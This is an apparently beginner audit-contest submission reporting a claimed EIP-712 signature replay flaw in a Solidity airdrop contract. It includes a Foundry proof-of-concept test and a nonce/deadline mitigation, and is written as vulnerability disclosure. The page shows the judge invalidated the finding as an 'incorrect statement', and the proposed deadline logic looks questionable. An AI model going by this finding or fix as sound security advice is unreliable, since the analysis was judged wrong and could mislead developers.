Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

SnowmanAirdrop EIP-712 Signature Replayable Due to Missing Nonce and Deadline

Root + Impact:
The signed message hashes only (receiver, amount), so a valid signature is usable forever while the balance equals that amount. Combined with the missing once-guard (#2), the same signature can be replayed to claim repeatedly.

Description:
getMessageHash encodes only receiver and amount into the EIP-712 struct. There is no nonce, no deadline, and no per-claim binding. Because the digest is deterministic, the signature produced for (alice, 1) remains valid every time balanceOf(alice) == 1.

// src/SnowmanAirdrop.sol
function getMessageHash(address receiver) public view returns (bytes32) {
if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
uint256 amount = i_snow.balanceOf(receiver);
@> // BUG: no nonce, no deadline, no per-claim binding
return _hashTypedDataV4(
keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
);
}

Risk: Signature replay.

Likelihood: Persistently a valid signature is resubmitted after the user's balance returns to the signed amount.
Impact: Captured/valid signatures remain usable indefinitely; enables repeat claims.

Proof of Concept:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {stdJson} from "forge-std/StdJson.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
contract PoC is Test {
using stdJson for string;
Snow snow; Snowman snowman; SnowmanAirdrop airdrop; MockWETH weth;
address alice; uint256 aliceKey; address satoshi;
bytes32 root; bytes32[] proofAlice;
function setUp() public {
weth = new MockWETH();
snow = new Snow(address(weth), 5, makeAddr("collector"));
snowman = new Snowman("data:image/svg+xml;base64,xxx");
string memory output = vm.readFile(string.concat(vm.projectRoot(), "/script/flakes/output.json"));
root = output.readBytes32("[0].root");
proofAlice = output.readBytes32Array("[0].proof");
airdrop = new SnowmanAirdrop(root, address(snow), address(snowman));
(alice, aliceKey) = makeAddrAndKey("alice");
satoshi = makeAddr("satoshi");
}
function _mintOneSnow(address who) internal { vm.deal(who, 1000 ether); vm.prank(who); snow.buySnow{value: snow.s_buyFee()}(1); }
function _approveAirdrop(address who) internal { vm.prank(who); snow.approve(address(airdrop), type(uint256).max); }
function _sign(address who, uint256 key) internal returns (uint8 v, bytes32 r, bytes32 s) { (v, r, s) = vm.sign(key, airdrop.getMessageHash(who)); }
function test_high_replayableSignature() public {
_mintOneSnow(alice);
_approveAirdrop(alice);
(uint8 v, bytes32 r, bytes32 s) = _sign(alice, aliceKey);
vm.prank(satoshi);
airdrop.claimSnowman(alice, proofAlice, v, r, s); // first claim
assertEq(snowman.balanceOf(alice), 1);
// Replay the SAME signature verbatim after re-acquiring Snow
_mintOneSnow(alice);
_approveAirdrop(alice);
vm.prank(satoshi);
airdrop.claimSnowman(alice, proofAlice, v, r, s); // replay -> succeeds
assertEq(snowman.balanceOf(alice), 2);
}
}

Recommended Mitigation:

// src/SnowmanAirdrop.sol
struct SnowmanClaim {
address receiver;
uint256 amount;
uint256 nonce; // ADD
uint256 deadline; // ADD
}
mapping(address => uint256) private s_nonce;
error SA__SignatureExpired();
function getMessageHash(address receiver) public view returns (bytes32) {
if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
uint256 amount = i_snow.balanceOf(receiver);
return _hashTypedDataV4(keccak256(abi.encode(
MESSAGE_TYPEHASH,
SnowmanClaim({receiver: receiver, amount: amount, nonce: s_nonce[receiver], deadline: block.timestamp})
)));
}
// Inside claimSnowman, after recovering the signer:
// if (block.timestamp > deadline) revert SA__SignatureExpired();
// s_nonce[receiver]++; // invalidate the signature after use
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!